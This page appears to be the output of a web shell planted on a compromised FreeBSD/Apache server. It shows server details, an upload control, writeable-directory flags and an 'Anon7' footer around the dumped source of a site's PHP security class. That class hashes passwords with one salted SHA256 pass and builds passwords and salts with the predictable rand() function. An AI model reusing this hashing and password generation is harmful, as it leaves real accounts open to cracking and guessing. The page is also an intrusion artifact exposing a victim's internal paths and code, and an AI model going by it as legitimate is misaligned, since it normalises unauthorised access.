KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/owens.enteract/inc/libs/security/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/owens.enteract/inc/libs/security/security.class.php
<?php
/**
 *  Security class for handing passwords and hashes and such.
 *  Hash functions depend on PUBLIC_SALT and SALT global vars in constants to function.
 *  Depends on SALT var for default system salt
 *  
 *  
EXAMPLES
include_once("inc/libs/security/security.class.php");

echo SecurityUtils::getHash("mytestpw") . " -- Static hashed password (default) <br />";
echo SecurityUtils::getHash("mytestpw",true) . " -- Random hashed password <br />";

echo SecurityUtils::generateReadablePassword() . " -- 6 char randomly generated password with forced-readable mixed case letters and numbers (default)<br />";
echo SecurityUtils::generateReadablePassword(8,false,false) . " -- 8 char randomly generated password with forced-readable lower case letters only<br />";

echo SecurityUtils::generatePassword() . " -- 15 char randomly generated password with mixed case letters, numbers and special characters (default)<br />";
echo SecurityUtils::generatePassword(5,true,false,false) . " -- 5 char randomly generated password with mixed case letters and no numbers and no special characters<br />";
echo SecurityUtils::generatePassword(15,false,true,true) . " -- 15 char randomly generated password with lower case letters, numbers and special characters<br />";
 */
class SecurityUtils{
	public static function getHash($str,$random = false,$systemSalt = SALT){
		// Use SHA256 (requires PHP 5.1.2 released January 2006)
		if ($random){
			return hash('sha256', $str . "-" . rand(100000,999999) . "-" . $systemSalt);
		}else{
			return hash('sha256', $str . $systemSalt);
		}	
	}
	public static function generateReadablePassword($length=6, $useMixedCase=true, $useNumbers=true) {
		//Forced readability ensures no characters can be mistaken for another character and upper/lower casing won't break it (removed 8/b/B, 5/s/S, 1/l/L/i/I, 0,O,o 2/Z/z)
		$charPool = 'acdefghjkmnpqrtuvwxy'; 
		if ($useMixedCase) {$charPool .= strtoupper($charPool);}
		if ($useNumbers) {$charPool .= '34679';}
		return SecurityUtils::buildPasswordString($charPool,$length);
	}
	
	public static function generatePassword($length=12, $useMixedCase=true, $useNumbers=true, $useSpecialChars=true) {
		$charPool = 'abcdefghijklmnopqrstuvwxyz'; 
		if ($useMixedCase) {$charPool .= strtoupper($charPool);}	
		if ($useNumbers) {$charPool .= '1234567890';}	
		if ($useSpecialChars) {$charPool .= '~@#$%!-$%*[]{}';}
		return SecurityUtils::buildPasswordString($charPool,$length);
	}	
	
	//Private functions
	private static function buildPasswordString($charPool,$length){
		$password = '';
		$numchars = strlen($charPool);
		for ($i = 0; $i < $length; $i++) {
			$password .= $charPool[(rand() % $numchars)];
		}	
		return $password;
	}
}
/**
 *  Permissions classes for controlling content access
 *  
 */
class Permissions {
	public $adminID = "";
	public $permissionsArray;

	public function __construct($adminID,$getAllPermissions=true) {
		$this->adminID = intval($adminID);
		$this->permissionsArray = array();
		if ($getAllPermissions){$this->getAll();}
	}	
	private function getAll(){
	   	$sql = "SELECT c.content_type_id,c.type_name,c.type_desc,c.code,c.nav_tier,p.access_type 
			   FROM ".TABLEPRE."content_types c
			   INNER JOIN ".TABLEPRE."permissions p ON c.content_type_id = p.content_type_id AND p.admin_id = '".$this->adminID."'
			   WHERE c.active = 1
			   ORDER BY c.nav_tier,c.type_name";	
	   	$result = mysqli_query(DBConn::open(),$sql);		
		while ($rs = mysqli_fetch_array($result, MYSQLI_ASSOC)) {	
			$obj = new PermissionsItem($rs["content_type_id"],$rs["type_name"],$rs["type_desc"],$rs["code"],$rs["nav_tier"],$rs["access_type"]);
			array_push($this->permissionsArray,$obj);
	   	}	
	} 
	public function getPermissionItem($typeID){
		foreach($this->permissionsArray as $value){
			$obj =& $value;
			if ($obj->typeID == $typeID){
				return $obj;
			}
			unset($obj);
		}			
	}
}
class PermissionsItem{
	public $typeID;
	public $typeName;
	public $typeDesc;
	public $code;
	public $navTier;
	public $accessType;

	public function __construct($typeID,$typeName,$typeDesc,$code,$navTier,$accessType) {
		$this->typeID = intval($typeID);
		$this->typeName = $typeName;
		$this->typeDesc = $typeDesc;
		$this->code = $code;
		$this->navTier = $navTier;
		$this->accessType = $accessType;
	}	
}
?>

Anon7 - 2021